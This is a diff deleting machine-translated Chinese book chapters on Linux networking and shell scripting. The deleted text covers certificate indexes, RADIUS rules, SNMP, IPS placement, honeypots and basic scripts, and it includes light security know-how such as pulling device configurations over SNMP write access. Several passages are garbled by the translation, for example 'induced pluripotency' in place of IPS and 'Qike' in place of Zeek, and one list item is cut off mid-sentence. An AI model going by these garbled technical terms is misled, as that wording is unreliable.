maintaining the details of issued certificates, outlined as follows: - * 最重要的原因是*信任*。 保存已颁发证书的登记册意味着可以对该列表进行审计。 - * 第二个原因也是*信任*。 保存已颁发证书的日志意味着当您需要撤销一个或多个证书时,您可以通过其在`index.txt`文件中的名称来识别它们,然后通过使用它们的序列号(与它们的文件名匹配)来撤销这些证书。 - * 最后,当操作内部 CA 和服务器基础设施,你会达到一个点,当故障排除时你会说*好像证书来自别的地方*——例如,它可能是自签名或可能是另一个 CA 颁发的。虽然可以获得证书本身的信息, 私有 CA 上的索引为您提供了通过另一种方法检查颁发了哪些证书以及何时颁发的所需工具。 - - 例如,如果攻击者建立了一个与您的 CA 名称相同的恶意 CA,那么使用`openssl`命令就可以在不验证密钥和签名的情况下进行快速检查。 - - 或者更糟的是,如果攻击者使用从您的实际服务器窃取的(和有效的)密钥材料构建了恶意 CA,那么真正 CA 上的索引文件将是引导您进行最终诊断的唯一线索。 - -# 第九章- Linux 上的 RADIUS 服务 - -1. 使用同时引用身份验证请求和后端组成员关系的`unlang`规则是典型的解决方案。 该规则应指定以下内容: - -1. 如果您正在发起 VPN 请求,那么您需要在`VPN users`组中进行身份验证。 -2. 如果正在发出管理访问请求,则需要位于`network admins`组中。 -3. This approach can be extended to include any number of authentication types, device types, RADIUS attribute values, and group memberships. - - 传递所请求函数的`unlang`规则示例如下: - - ```sh - if(&NAS-IP-Address == "192.168.122.20") { - if(Service-Type == Administrative && LDAP-Group == "Network Admins") { - update reply { - Cisco-AVPair = "shell:priv-lvl=15" - } - accept - } - elsif (Service-Type == "Authenticate-Only" && LDAP-Group == "VPN Users" ) { - accept - } - elsif { - reject - } - } - ``` - -4. 有几个原因,这些是概述在这里: - -1. 因为它使用证书,而且通常是本地证书存储,所以整个信任模型 -2. 由于它使用 tls(如果实现正确的话),那么针对身份验证交换加密的攻击将是一个重大挑战。 -3. 每个无线用户都有自己的会话密钥,它们经常轮换。 -4. 没有可供攻击者捕获或利用的密码。 所有其他无线身份验证和加密机制都使用用户 ID/密码(例如,PEAP)或预共享密钥。 -5. The obstacle in deploying EAP-TLS is in the preparation—notably, issuing and installing certificates on the RADIUS servers and, particularly, the endpoint clients. This is very doable in a typical organization, where the stations are owned by the company, or you can walk your people through installing certificates on any authorized gear that they own. In addition, **mobile device management** (**MDM**) platforms can be used to issue and install certificates on cellphones and tablets. - - 然而,如果设备不属于公司——例如,如果设备是顾问或供应商的笔记本电脑,或者是员工拥有的家庭电脑,获得公司颁发的证书并安全地安装在那台机器上可能是一个真正的挑战。 特别是,经常会看到**证书签名请求**(**csr**)和通过电子邮件来回发送的证书,不建议用于传输此类敏感数据。 - - MFA 解决方案将用户 id -密码接口保留在合适的位置,用于 VPN 服务,但消除了这些接口中出现密码篡改或暴力破解攻击等问题的风险。 此外,在系统中注册远程站点,如谷歌 Authenticator 是极其简单的-只需扫描二维码,你发出的工作! - -# 第十章- Linux 的负载均衡器服务 - -1. If you are in a situation where your total load might be reaching the capacity of the load balancer, a DSR solution means that only the client to server traffic needs to be routed through the load balancer. This is especially impactful as most workloads have much more return traffic (server to client) than send traffic (from client to server). This means that changing to a DSR solution can easily reduce the traffic through the load balancer by 90%. - - 如果较小的负载平衡器与需要平衡的每个离散工作负载匹配为 1:1,那么就不需要考虑性能。 特别是在虚拟化环境中,向基于 vm 的负载平衡器添加 CPU 和内存资源也比在基于硬件的旧设备情况下进行匹配的硬件升级要简单得多。 - - 一个 DSR 负载均衡器也需要一些服务器和网络的“修补”才能使所有的部分工作。 一旦它工作了,一年后当需要对其进行故障排除时,再把它弄清楚也是一个真正的问题。 - - DSR 解决方案在客户端和服务器之间的通信上也失去了相当多的智能,因为只看到了一半的对话。 - -2. 使用基于代理的负载均衡器的主要原因是允许在 HTTPS 设置中保持会话。 通过终止前端虚拟 IP**(**VIP**)上的客户端会话,然后在后端接口上启动一个新的 HTTPS 会话。 这种方法允许负载平衡器在此等式的客户端会话中插入一个 cookie。 当客户端发送下一个请求(其中将包含此 cookie)时,负载均衡器然后将会话定向到此客户端 HTTPS 会话分配给的服务器。** - - **# 第十一章- Linux 上的抓包分析 - -1. 你会从一个中间设备捕获,有以下几个原因: - * 您没有访问两端主机的权限,或者没有权限在主机上捕获数据包。 - * 您无法访问允许您使用主机和 Wireshark 的交换机端口,因为您不是本地用户或者没有交换机访问。 - * 如果中间设备是防火墙,从那里捕获将允许您考虑 NAT(在转换之前和之后捕获),以及防火墙上的任何 acl。 - * 如果您正在对主机服务进行故障排除,并且能够访问其中一个主机,并且有权限在其中一个或两个主机上安装包捕获工具,则可以从两端的主机进行捕获。 此外,从任何一端捕获可能允许您捕获解密之前或之后的加密流量。 - * 几乎在所有情况下,使用 SPAN 端口捕获都是首选解决方案。 这允许您捕获任意方向的流量,但不需要访问或更改任一端点主机的权限。 -2. tcpdump is the underlying packet capture mechanism on Linux. Almost all tools, including Wireshark use tcpdump. Wireshark has the advantage of giving the operator a GUI to work from, which is very attractive if that person isn't a "CLI person." In addition, Wireshark will fully decode packets and allow you to interactively drill down to your target traffic using display filters. - - 另一方面,TCPdump 的优点是它可以在任何地方运行,如果捕获会话是在 SSH 会话上运行,或者执行捕获的主机没有运行 GUI,那么这一点非常有吸引力。 TCPdump 还为您提供了对低级函数的更多控制,这些函数将影响捕获的性能或容量。 例如,可以通过`tcpdump`命令行轻松地修改环形缓冲区的大小。 - -3. 每次调用 RTP 协议的端口都是不同的。 它们总是 UDP,但是会话的 RTP 调用的端口号是在调用建立期间协商的,但是 SIP/SDP,特别是由`INVITE`包(来自每个调用端点的一个)。 - -# 第十二章- Linux 上的网络监控 - -1. SNMP 的写访问允许您监视(读取)设备或主机参数,以及设置(写入)这些相同的参数。 因此,通过读写访问,您可以更改接口速度或双工,重新引导或关闭设备,或下载配置。 有一个 nmap 脚本可以简化这样的配置下载:`snmp-ios-config.nse`。 -2. Syslog is most often sent in clear text over `514/udp`. There is an option to encrypt this traffic using IPSEC, but it is not widely implemented. The risks are that sensitive information is sent using syslog, and as it's clear text, anyone in a position to read it can either collect that information for later use or modify it as it is sent. - - 例如,让管理员将其密码放在`userid`字段中是相当常见的,这意味着此时密码可能已被泄露。 这个人通常采取的下一步是再次尝试,这意味着攻击者现在既有用户 id 又有密码。 但是,您需要记录这些信息,以帮助检测恶意的登录尝试。 - - 一种选择是启用 SNMPv3,使用 SNMPv3 trap 来代替 Syslog 日志。 然而,这确实会将您的日志平台转移到一个通常不太灵活且难于使用的平台。 - - 要在 Cisco IOS 设备上启用 SNMPv3 trap,请使用以下代码: - - ```sh - snmp-server enable traps - ! - ! … this can also be done in a more granular fashion: - ! snmp-server enable traps envmon fan shutdown supply temperature status ospf cpu - ! - ! EngineID is automatically generated by the router, use "show snmp engineID" to check - snmp-server engineID remote 800005E510763D0FFC1245N1A4 - snmp-server group TrapGroup v3 priv - snmp-server user TrapUser TrapGroup remote v3 auth sha AuthPass priv 3des PSKPass - snmp-server host informs version 3 priv TrapUser - ``` - - 您的 SNMP trap 服务器必须具有匹配的帐户信息和加密选项。 如果您要走到这一步,您还必须为每个发送陷阱的设备硬编码主机信息。 - -3. NetFlow collects and aggregates summary information for network traffic. At a minimum, this includes the "tuple" of Source IP, Destination IP, Protocol, Source Port Number, and Destination Port Number. Times are added for analytics, usually by the collecting server, so that flows from multiple servers can be combined and correlated without the need to worry about clock drift between the various networking devices. - - 尽管如此,所发送的信息通常是不敏感的——本质上,它是源和目的 IP 地址以及对正在使用的应用的猜测(通常是从目的端口派生的)。 大多数组织不会认为这是敏感的。 - - 但是,如果您的组织认为这是一种风险,那么很容易通过 IPSEC 隧道将这些数据定向回收集服务器。 这种架构可能有点棘手,因为你可能需要维护两个路由**虚拟路由框架**(**vrf**)才能实现这一点,但这是可行的。 它可能更简单,只是加密所有 WAN 流量,然后在核心路由器和 NetFlow 收集服务器之间应用第二层保护(假设它们在同一子网)。 - -# 第十三章- Linux 上的入侵防御系统 - -1. 奇克会是你的首选工具。 正如我们在 Zeek 的例子中看到的那样,通过一个特定时间窗口内的所有通信深入到一个特定的 TLS 版本是非常快速的。 在搜索过程中添加地理位置信息只需要点击几下鼠标。 当您缩小搜索范围时,源和目的 IP 地址会被汇总,因此不需要额外的操作来收集它们。 -2. SSH clients, when used, generate traffic. A tool such as P0F (or a commercial tool such as Teneble PVS) can passively collect all traffic, and then associate this traffic with the client workstations. By using algorithms such as JA3 or HASSH, passively collected data can often tell you about the client application, very often right down to its version. This allows you to target out-of-date clients for software upgrades. - - PuTTY 就是一个很好的例子,因为这个应用通常不使用完整的基于 msi 的 Windows 安装程序来安装。 这意味着使用 PowerShell 或商业库存工具进行库存通常并不容易。 - - 这种方法的缺点是,您只能在使用目标应用时清点它们。 识别硬件客户端——例如,未经批准的**物联网**(**物联网**)设备——尤其有效,因为这些设备往往会非常频繁地接触到它们的各种云服务。 - -3. To start with, intentionally placing an IPS on the public internet side of a firewall isn't productive these days, given the hostile nature of that network – it will simply alert continuously, which makes for just too much "noise" to filter through. - - 将 IPS 主要用于捕获通过防火墙的出站流量或入站流量,从而将评估的流量大幅缩小到潜在的攻击流量(入站)和可能表明内部主机受到威胁的流量(出站)。 这种位置通常相当于位于 SPAN 端口上,监视防火墙的内部和 DMZ 接口。 可以扩展到其他端口或整个 vlan(参考[*第 11 章*](11.html#_idTextAnchor192)、*Linux 抓包分析*中的 SPAN 端口章节)。 - - 将 IPS 设置成可以检查解密流量的方式,允许它评估“不可见”的有效负载; 例如,在 RDP、SSH 或 HTTPS 流量。 在现代架构中,这通常意味着“诱导多能性”实际上是在防火墙本身,通常被称为**统一威胁管理**(**UTM)防火墙或**下一代防火墙**(**NGFW**)。** - -# 第十四章- Linux 上的蜜罐服务 - -1. Honeypots are deployed to catch attacker traffic "on film." Especially on internal networks, their primary goal is to keep the attacker engaged on the honeypot host for long enough that you can mount some defenses. - - 在一台主机上点亮一个意想不到的端口组合会让攻击者知道目标是一个蜜罐。 它们不仅会跳过那个主机,而且知道您部署了蜜罐,它们还会格外小心地继续操作。 - -2. AD 域控制器通常会启用许多这样的端口: - -![](img/B16336_Assesment_Table_02.jpg) - -这个列表并不完整,主要关注 TCP 端口。 攻击者通常会完全跳过 UDP 端口扫描,特别是当打开的 TCP 端口的配置文件足以识别目标主机时。 - -在互联网上,例外情况是扫描`500/udp`和`4500/udp`,它们通常表示开放的 VPN 端点。** \ No newline at end of file diff --git a/docs/linux-net-prof/README.md b/docs/linux-net-prof/README.md deleted file mode 100644 index bbeaba99..00000000 --- a/docs/linux-net-prof/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 面向网络专家的 Linux - -> 原文:[Linux for Networking Professionals](https://libgen.rs/book/index.php?md5=A72D356176254C9EA0055EAB3A38778D) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-net-prof/SUMMARY.md b/docs/linux-net-prof/SUMMARY.md deleted file mode 100644 index dd1f90dc..00000000 --- a/docs/linux-net-prof/SUMMARY.md +++ /dev/null @@ -1,20 +0,0 @@ -+ [面向网络专家的 Linux](README.md) -+ [零、前言](00.md) -+ [第一部分:Linux 基础](sec1.md) - + [一、欢迎加入 Linux 大家庭](01.md) - + [二、基本 Linux 网络配置和操作——使用本地接口](02.md) -+ [第二部分:作为网络节点和故障排除平台的 Linux ](sec2.md) - + [三、将 Linux 和 Linux 工具用于网络诊断](03.md) - + [四、Linux 防火墙](04.md) - + [五、Linux 安全标准与现实生活中的例子](05.md) -+ [第三部分:Linux 网络服务](sec3.md) - + [六、Linux 上的 DNS 服务](06.md) - + [七、Linux 上的 DHCP 服务](07.md) - + [八、Linux 上的证书服务](08.md) - + [九、Linux 上的 RADIUS 服务](09.md) - + [十、Linux 负载均衡器服务](10.md) - + [十一、Linux 上的抓包分析](11.md) - + [十二、Linux 上的网络监控](12.md) - + [十三、Linux 上的入侵防御系统](13.md) - + [十四、Linux 上的蜜罐服务](14.md) -+ [十五、答案](15.md) diff --git a/docs/linux-net-prof/sec1.md b/docs/linux-net-prof/sec1.md deleted file mode 100644 index d222f19d..00000000 --- a/docs/linux-net-prof/sec1.md +++ /dev/null @@ -1,8 +0,0 @@ -# 第一部分:Linux 基础 - -本节概述了可供读者使用的各种 Linux 选项,以及为什么他们可能选择 Linux 来提供各种网络功能或服务。 此外,本文还深入介绍了基本的 Linux 网络配置。 本节为后续各章的内容奠定了基础。 - -本书的这一部分由以下几章组成: - -* [*第 1 章*](01.html#_idTextAnchor014)*欢迎加入 Linux 大家庭* -* [*第二章*](02.html#_idTextAnchor035)*Linux 网络基本配置与操作-使用本地接口* \ No newline at end of file diff --git a/docs/linux-net-prof/sec2.md b/docs/linux-net-prof/sec2.md deleted file mode 100644 index 44546bf2..00000000 --- a/docs/linux-net-prof/sec2.md +++ /dev/null @@ -1,9 +0,0 @@ -# 第二部分:作为网络节点和故障排除平台的 Linux - -在本节中,我们将继续构建 Linux 主机,添加用于网络诊断和故障排除的工具。 我们将把 Linux 防火墙加入其中,开始保护我们的主机。 最后,我们将讨论将 Linux 安全标准推广到整个组织,讨论各种方法、监管框架、加固指南和框架。 - -本书的这一部分由以下几章组成: - -* [*第三章*](03.html#_idTextAnchor053)*,使用 Linux 和 Linux 工具进行网络诊断* -* [*第四章*](04.html#_idTextAnchor071)*,Linux 防火墙* -* [*第五章*](05.html#_idTextAnchor085)*Linux 安全标准与现实实例* \ No newline at end of file diff --git a/docs/linux-net-prof/sec3.md b/docs/linux-net-prof/sec3.md deleted file mode 100644 index 0a42d86c..00000000 --- a/docs/linux-net-prof/sec3.md +++ /dev/null @@ -1,15 +0,0 @@ -# 第三部分:Linux 网络服务 - -在最后一节中,我们将把 Linux 工作站变成服务器,并讨论可能在 Linux 上实现的几种常见服务器。 在每一章中,我们将介绍该服务的功能,为什么它很重要,然后如何配置它并开始保护它。 我们将深入讨论几乎可以在任何组织中使用的特定示例,以便读者能够在自己的环境中构建它们。 - -本书的这一部分由以下几章组成: - -* [*第六章*](06.html#_idTextAnchor100)*,Linux 上的 DNS 服务* -* [*第七章*](07.html#_idTextAnchor118)*,Linux 上的 DHCP 服务* -* [*第八章*](08.html#_idTextAnchor133)*,Linux 上的证书服务* -* [*第九章*](09.html#_idTextAnchor153)*,RADIUS Services for Linux* -* [*第十章*](10.html#_idTextAnchor170)*,Linux 负载均衡器服务* -* [*第十一章*](11.html#_idTextAnchor192)*,Linux 上的抓包分析* -* [*第十二章*](12.html#_idTextAnchor216)*,Linux 网络监控* -* [*第十三章*](13.html#_idTextAnchor236)*,Linux 上的入侵防御系统* -* [*第十四章*](14.html#_idTextAnchor252)*,Linux 上的蜜罐服务* \ No newline at end of file diff --git a/docs/linux-shell-script-bc/00.md b/docs/linux-shell-script-bc/00.md deleted file mode 100644 index a3064acb..00000000 --- a/docs/linux-shell-script-bc/00.md +++ /dev/null @@ -1,122 +0,0 @@ -# 零、前言 - -在 Linux Shell 脚本训练营中,您将从学习脚本创建的要点开始。您将学习如何验证参数,以及如何检查文件的存在。接下来,您将非常熟悉变量在 Linux 系统中的工作方式以及它们与脚本的关系。您还将学习如何创建和调用子程序以及创建交互式脚本。最后,您将学习如何调试脚本和脚本最佳实践,这将使您每次都能编写出优秀的代码!到本书结束时,您将能够编写 Shell 脚本,从网络中挖掘数据并有效地处理它。 - -# 这本书涵盖了什么 - -[第 1 章](01.html "Chapter 1. Getting Started with Shell Scripting")、【Shell 脚本入门、从脚本设计的基础知识开始。如何使脚本可执行显示为创建信息性的`Usage`消息。返回代码的重要性还包括参数的使用和验证。 - -[第 2 章](02.html "Chapter 2. Working with Variables")、*使用变量*,讨论如何声明和使用环境变量和局部变量。我们还会谈到数学是如何进行的,以及如何使用数组。 - -[第 3 章](03.html "Chapter 3. Using Loops and the sleep Command")、*使用循环和睡眠命令*,介绍了使用循环执行迭代操作。它还展示了如何在脚本中创建延迟。读者还将学习如何在脚本中使用循环和`sleep`命令。 - -[第 4 章](04.html "Chapter 4. Creating and Calling Subroutines")、*创建和调用子程序*、*T5】从一些非常简单的脚本开始,然后继续介绍一些带参数的简单子程序。* - -[第 5 章](05.html "Chapter 5. Creating Interactive Scripts")、*创建交互脚本*,解释使用`read`内置命令查询键盘。此外,我们探讨了一些不同的阅读选择,也涵盖了陷阱的使用。 - -[第 6 章](06.html "Chapter 6. Automating Tasks with Scripts")、*使用脚本自动执行任务,*描述了创建脚本来自动执行任务。介绍了在特定时间使用 cron 自动运行脚本的正确方法。归档命令`zip`和`tar`也用于执行压缩备份。 - -[第 7 章](07.html "Chapter 7. Working with Files")、*使用文件,*介绍了使用重定向操作符写出文件和使用`read`命令读取文件。还讨论了校验和和文件加密,以及将文件内容转换为变量的方法。 - -[第八章](08.html "Chapter 8. Working with wget and curl")、*使用 wget 和 curl* ,讨论`wget`和`curl`在脚本中的用法。除此之外,还用几个示例脚本讨论了返回代码。 - -[第 9 章](09.html "Chapter 9. Debugging Scripts")、*调试脚本*,讲解了一些防止常见语法和逻辑错误的技巧。还讨论了使用重定向操作符将脚本输出发送到另一个终端的方法。 - -[第 10 章](10.html "Chapter 10. Scripting Best Practices")、*脚本最佳实践*,讨论了一些每次都能帮助读者创建好代码的实践和技术。 - -# 这本书你需要什么 - -任何有 Bash 的 Linux 机器都应该能够运行这些脚本。这包括台式机、笔记本电脑、嵌入式设备、BeagleBone 等等。运行 Cygwin 或一些其他模拟 Linux 环境的 Windows 机器也将工作。 - -没有最低内存要求。 - -# 这本书是给谁的 - -这本书既适合想用 shell 做惊人事情的 GNU/Linux 用户,也适合想方设法让自己的 shell 生活更有效率的高级用户 - -# 惯例 - -在这本书里,你会发现许多区分不同种类信息的文本样式。以下是这些风格的一些例子和对它们的意义的解释。 - -文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、伪 URL、用户输入和推特句柄如下所示:可以看到显示了`echo`语句`Start of x loop`一段代码设置如下: - -```sh -echo "Start of x loop" -x=0 -while [ $x -lt 5 ] -do - echo "x: $x" - let x++ - -``` - -任何命令行输入或输出都编写如下: - -```sh -guest1 $ ps auxw | grep script7 - -``` - -**新名词**和**重要词语**以粗体显示。您在屏幕上看到的单词,例如菜单或对话框中的单词,出现在文本中,如下所示:“单击**下一步**按钮,您将进入下一个屏幕。” - -### 注 - -警告或重要提示会出现在这样的框中。 - -### 类型 - -提示和技巧是这样出现的。 - -# 读者反馈 - -我们随时欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或不喜欢什么。读者反馈对我们来说很重要,因为它有助于我们开发出你真正能从中获益的标题。 - -要给我们发送一般反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在您的邮件主题中提及书名。 - -如果你对某个主题有专业知识,并且对写作或投稿感兴趣,请参见我们位于[www.packtpub.com/authors](http://www.packtpub.com/authors)的作者指南。 - -# 客户支持 - -现在,您已经自豪地拥有了一本书,我们有许多东西可以帮助您从购买中获得最大收益。 - -## 下载示例代码 - -你可以从你在[http://www.packtpub.com](http://www.packtpub.com)的账户下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册,以便将文件直接通过电子邮件发送给您。 - -您可以按照以下步骤下载代码文件: - -1. 使用您的电子邮件地址和密码登录或注册我们的网站。 -2. 将鼠标指针悬停在顶部的 **SUPPORT** 选项卡上。 -3. 点击**代码下载&勘误表**。 -4. 在**搜索**框中输入图书名称。 -5. 选择要下载代码文件的书籍。 -6. 从您购买这本书的下拉菜单中选择。 -7. 点击**代码下载**。 - -您也可以通过点击 Packt 出版网站图书网页上的**代码文件**按钮来下载代码文件。可以通过在**搜索**框中输入图书名称来访问该页面。请注意,您需要登录您的 Packt 帐户。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR / 7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip / PeaZip - -这本书的代码包也托管在 GitHub 上,网址为[https://GitHub . com/PacktPublishing/Linux-Shell-Scripting-boot camp](https://github.com/PacktPublishing/Linux-Shell-Scripting-Bootcamp)。我们还有来自丰富的图书和视频目录的其他代码包,可在[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)获得。看看他们! - -## 勘误表 - -尽管我们尽了最大努力来确保我们内容的准确性,但错误还是会发生。如果你在我们的某本书里发现了错误——可能是文本或代码中的错误——如果你能向我们报告,我们将不胜感激。通过这样做,你可以让其他读者免受挫折,并帮助我们改进这本书的后续版本。如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的书籍,点击**勘误表提交表**链接,并输入您的勘误表的详细信息。一旦您的勘误表得到验证,您的提交将被接受,勘误表将上传到我们的网站或添加到该标题勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请前往[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索栏中输入图书名称。所需信息将出现在**勘误表**部分。 - -## 盗版 - -互联网上版权材料的盗版是所有媒体的一个持续问题。在 Packt,我们非常重视版权和许可证的保护。如果您在互联网上遇到任何形式的我们作品的非法拷贝,请立即向我们提供位置地址或网站名称,以便我们寻求补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`联系我们,获取疑似盗版资料的链接。 - -我们感谢您在保护我们的作者方面的帮助,以及我们为您带来有价值内容的能力。 - -## 问题 - -如果您对本书的任何方面有问题,可以在`<[questions@packtpub.com](mailto:questions@packtpub.com)>`联系我们,我们将尽最大努力解决问题。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/01.md b/docs/linux-shell-script-bc/01.md deleted file mode 100644 index 10a2812d..00000000 --- a/docs/linux-shell-script-bc/01.md +++ /dev/null @@ -1,335 +0,0 @@ -# 一、开始使用 Shell 脚本 - -本章简要介绍 shell 脚本。它将假设读者大多熟悉脚本基础,并将作为一个复习。 - -本章涵盖的主题如下: - -* 脚本的一般格式。 -* 如何使文件可执行? -* 创建一个良好的使用信息和处理返回代码。 -* 演示如何从命令行传递参数。 -* 演示如何使用条件语句验证参数。 -* 解释如何确定文件的属性。 - -# 开始 - -您将始终能够在一个来宾帐户下创建这些脚本,并且大多数脚本将从那里运行。当需要根访问来运行一个特定的脚本时,将会清楚地说明。 - -本书将假设用户在该帐户的路径开头放了一个(`.`)。如果没有,要运行脚本,在文件名前面加上`./`。例如: - -```sh - $ ./runme -``` - -将使用`chmod`命令使脚本可执行。 - -建议用户在他的来宾帐户下创建一个目录,专门用于本书中的示例。例如,类似这样的东西效果很好: - -```sh -$ /home/guest1/LinuxScriptingBook/chapters/chap1 -``` - -当然,请随意使用最适合你的东西。 - -遵循 bash 脚本的一般格式,第一行将包含这个,没有其他内容: - -```sh -#!/bin/sh -``` - -注意在其他情况下`#`符号后面的文本被视为注释。 - -例如, - -#这一整行都是注释 - -```sh -chmod 755 filename # This text after the # is a comment -``` - -使用你认为合适的评论。有人评论每一行,有人什么都不评论。我试图在这两个极端之间找到一个平衡点。 - -## 使用好的文本编辑器 - -我已经发现大多数人在 UNIX/Linux 环境下使用 vi 创建和编辑文本文档是很舒服的。这很好,因为 vi 是一个非常可靠的应用。我建议不要使用任何类型的文字处理程序,即使它声称有代码开发选项。这些程序可能仍然会在文件中放入不可见的控制字符,这可能会导致脚本失败。除非您擅长查看二进制文件,否则这可能需要几个小时甚至几天才能弄清楚。 - -此外,在我看来,如果你计划做大量的脚本和/或代码开发,我建议看看除了 vi 之外的其他文本编辑器。你几乎肯定会变得更有效率。 - -# 演示脚本的使用 - -下面是一个非常简单的脚本的例子。可能看起来不太像,但这是每个脚本的基础: - -## 第 1 章-剧本 1 - -```sh -#!/bin/sh -# -# 03/27/2017 -# -exit 0 -``` - -### 注 - -按照惯例,在这本书里,剧本通常会被编号。这仅用于教学目的,在实际的脚本中,行没有编号。 - -以下是相同的脚本,行编号为: - -```sh -1 #!/bin/sh -2 # -3 # 03/27/2017 -4 # -5 exit 0 -6 -``` - -以下是对每一行的解释: - -* 第 1 行告诉操作系统使用哪个 shell 解释器。请注意,在某些发行版中`/bin/sh`实际上是解释器的符号链接。 -* 以`#`开头的行是注释。同样,在`#`之后的任何内容也被视为评论。 -* 在你的脚本中加入一个日期是一个很好的做法,要么在这里的评论部分,要么在`Usage`部分(接下来会讲到)。 -* 第 5 行是这个脚本的返回代码。这是可选的,但强烈推荐。 -* 第 6 行是一个空行,是脚本的最后一行。 - -使用您喜欢的文本编辑器,编辑一个名为`script1`的新文件,并将前面没有行号的脚本复制到其中。保存文件。 - -要使文件成为可执行脚本,请运行以下命令: - -```sh -$ chmod 755 script1 -``` - -现在运行脚本: - -```sh -$ script1 -``` - -如果您没有在介绍中提到的路径前添加`.`,那么运行: - -```sh -$ ./script1 -``` - -现在检查返回代码: - -```sh -$ echo $? -0 -``` - -这里有一个脚本,它做了一些更有用的事情: - -## 第 1 章-剧本 2 - -```sh -#!/bin/sh -# -# 3/26/2017 -# -ping -c 1 google.com # ping google.com just 1 time -echo Return code: $? -``` - -`ping`命令成功时返回零,失败时返回非零。如您所见,`echoing $?`显示了它前面的命令的返回值。稍后将对此进行更多介绍。 - -现在让我们传递一个参数,并包含一个`Usage`语句: - -## 第 1 章-剧本 3 - -```sh - 1 #!/bin/sh - 2 # - 3 # 6/13/2017 - 4 # - 5 if [ $# -ne 1 ] ; then - 6 echo "Usage: script3 file" - 7 echo " Will determine if the file exists." - 8 exit 255 - 9 fi - 10 - 11 if [ -f $1 ] ; then - 12 echo File $1 exists. - 13 exit 0 - 14 else - 15 echo File $1 does not exist. - 16 exit 1 - 17 fi - 18 -``` - -以下是每一行的解释: - -* 第`5`行检查是否给出了参数。否则,执行第`6`到`9`行。请注意,在您的脚本中包含信息丰富的`Usage`语句通常是一个好主意。提供一个有意义的返回代码也很好。 -* 第`11`行检查文件是否存在,如果存在,则执行第`12` - `13`行。否则线路`14` - `17`运行。 -* 关于返回代码的一句话:如果命令成功,返回零,如果不成功,返回非零,这是 Linux/UNIX 下的标准做法。这样,返回的代码不仅对人类,而且对其他脚本和程序都有意义。但是,这样做并不是强制性的。如果你想让你的脚本返回不是错误的代码,但是无论如何也要指出一些其他的条件。 - -下一个脚本将扩展这个主题: - -## 第 1 章-剧本 4 - -```sh - 1 #!/bin/sh - 2 # - 3 # 6/13/2017 - 4 # - 5 if [ $# -ne 1 ] ; then - 6 echo "Usage: script4 filename" - 7 echo " Will show various attributes of the file given." - 8 exit 255 - 9 fi - 10 - 11 echo -n "$1 " # Stay on the line - 12 - 13 if [ ! -e $1 ] ; then - 14 echo does not exist. - 15 exit 1 # Leave script now - 16 fi - 17 - 18 if [ -f $1 ] ; then - 19 echo is a file. - 20 elif [ -d $1 ] ; then - 21 echo is a directory. - 22 fi - 23 - 24 if [ -x $1 ] ; then - 25 echo Is executable. - 26 fi - 27 - 28 if [ -r $1 ] ; then - 29 echo Is readable. - 30 else - 31 echo Is not readable. - 32 fi - 33 - 34 if [ -w $1 ] ; then - 35 echo Is writable. - 36 fi - 37 - 38 if [ -s $1 ] ; then - 39 echo Is not empty. - 40 else - 41 echo Is empty. - 42 fi - 43 - 44 exit 0 # No error - 45 -``` - -以下是对每一行的解释: - -* 第`5` - `9`行:如果脚本没有带参数运行,显示`Usage`信息,返回`255`退出。 -* 第`11`行显示如何`echo`一串文字但仍然停留在线上(无换行)。 -* 第`13`行显示了如何确定给定的参数是否是现有文件。 -* 第`15`行离开脚本,因为如果文件不存在,没有理由继续。 - -剩下几行的意思可以由剧本本身决定。请注意,可以对文件执行许多其他检查,这些只是其中的几个。 - -以下是在我的系统上运行`script4`的一些例子: - -```sh -guest1 $ script4 -Usage: script4 filename - Will show various attributes of the file given. - -guest1 $ script4 /tmp -/tmp is a directory. -Is executable. -Is readable. -Is writable. -Is not empty. - -guest1 $ script4 script4.numbered -script4.numbered is a file. -Is readable. -Is not empty. - -guest1 $ script4 /usr -/usr is a directory. -Is executable. -Is readable. -Is not empty. - -guest1 $ script4 empty1 -empty1 is a file. -Is readable. -Is 